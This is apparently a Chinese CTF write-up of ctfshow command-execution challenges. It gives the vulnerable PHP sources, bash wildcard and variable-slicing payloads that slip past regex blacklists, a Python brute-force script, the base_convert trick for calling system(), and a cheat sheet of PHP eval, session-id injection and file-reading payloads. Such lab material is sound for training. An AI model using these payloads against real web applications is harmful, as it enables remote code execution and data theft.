${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.??? // 长度为66
其中的${#}也可以省略,只不过不知道为啥本地不行
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???给出源代码,nnd SHLVL、~和USER都给我ban了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>继续学习bash内置变量的trick
1
2
3
4
5
6${#}为添加到shell的参数个数,${##}则为值 空输出的话就是1
我们这次因为能用到的内置变量就是 $PWD -> /var/www/html
所以这次构造取反读取命令 rev
${#IFS}在ubuntu等系统中值为3
所以/bin/rev为
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???fuzz
PWD、#、也被ban了,但是HOME没有被禁
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>这次我们换另一个命令
/bin/base64
对于/的截取,这里引入$?内置变量
1
2
3
4
5
6
7
8
9
10
11$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"输入
<A
即可返回状态码11
2
3
4
5
6
7// 于是截取/可以通过
- ${HOME::$?}
// 接着利用通配符匹配bin 和 base
- ${HOME::$?}???${HOME::$?}????
// 对于数字64,根据题目的提示fuzz,可以采用${RANDOM}爆破出64来
// 当然直接爆破出数字64几率很小,但是爆破出开头为4的数字还是可以的
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???我傻了,最后结果应该是base64编码,怎么可能会出现ctfshow。。。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# coding=gbk
import requests
url = "http://7b9783ec-5114-4084-b863-8d1ff2a7f333.challenge.ctf.show/"
payload = r"<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???"
data = {
"code": payload
}
while True:
r = requests.post(url, data=data)
if "PD9waHA" in r.text: # <?php
print(r.text)
break
print(r.status_code)RCE
题面如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) { // /m可以匹配'\n'
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); // 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}限制一:长度不超过80;
限制二:黑名单
' ', '\t', '\r', '\n','\'', '"', '
‘, ‘\[‘, ‘\]‘限制三:白名单
1
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
我们需要充分利用白名单中的函数来构造出我们想用的函数。用法有两种:1. 可以当作变量名 2. 可以用作中间转换函数
这里用到了
base_convert
1
2
3任意进制之间转换数字
base_convert(number,frombase,tobase)
返回一个字符串,包含 number 以 tobase 进制的表示。number 本身的进制由 frombase 指定。frombase 和 tobase 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。重点在于,高于十进制的数字用字母a-z表示,那么我们是否可以借此来搞一些命令执行函数出来。
1
2
3
4
5system 最大字母排在24 也就是我们可以选择一个>25进制作为frombase
比如 base_convert("system", 36, 10) => 1751504350
那么 base_convert(1751504350, 10, 36) => system 并且可以绕过引号的过滤
接下来利用php函数名可以作为函数的特性
c=$ip=base_convert,$ip(1751504350, 10, 36) // echo 之间可以通过逗号连接
接下来就是考虑system参数如何传的问题,我们在这里可以通过两种方式:通过文件头传入命令参数,而文件头信息的获取去搭配getallheaders(),回传一个数组。数组的索引采取键值对的方式
1 |
|
或者通过GET/POST传参方式,在参数点需要构造一个$_GET[],不过还要涉及多个进制转换
1 |
|
总结
绕过空格
1
2
3
4
5
6${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09命令执行函数
1
2
3
4
5
6
7
8
9
10system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
exec : 执行一个外部程序,回显最后一行,需要用echo输出。
shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
`(反引号):同 shell_exec()
可回显 system passthru echo配合同cat的查看文件
1
2
3
4
5
6
7
8
9
10
11
12more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings: find the printable strings in a object, or other binary, file遍历目录的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串
get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。
payload:var_dump(current(get_defined_vars()));
session_id():session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。
如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,
即传入?exp=eval(hex2bin(session_id(session_start())));
并设置cookie:PHPSESSID=706870696e666f28293b
session_start 函数是为了开启session
配合使用的函数:
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
var_dump()
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组输入输出
1
2
3
4
52>/dev/null 把错误输出到空设备(即丢弃)
>/dev/null 2>&1 相当于1>/dev/null 2>&1 即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
2>&1 >/dev/null 错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃
something interesting: 重定向> 和 >> 前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.shell中的整数运算$(())
1
2
3
4
5
6$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1PHP读取文件的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29常用读文件函数
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
// file — 把整个文件读入一个数组中
print_r(file($filename));
var_dump(file($filename));
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
// fopen去读取文件内容
fread(fopen($filename,"r"), $size);
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");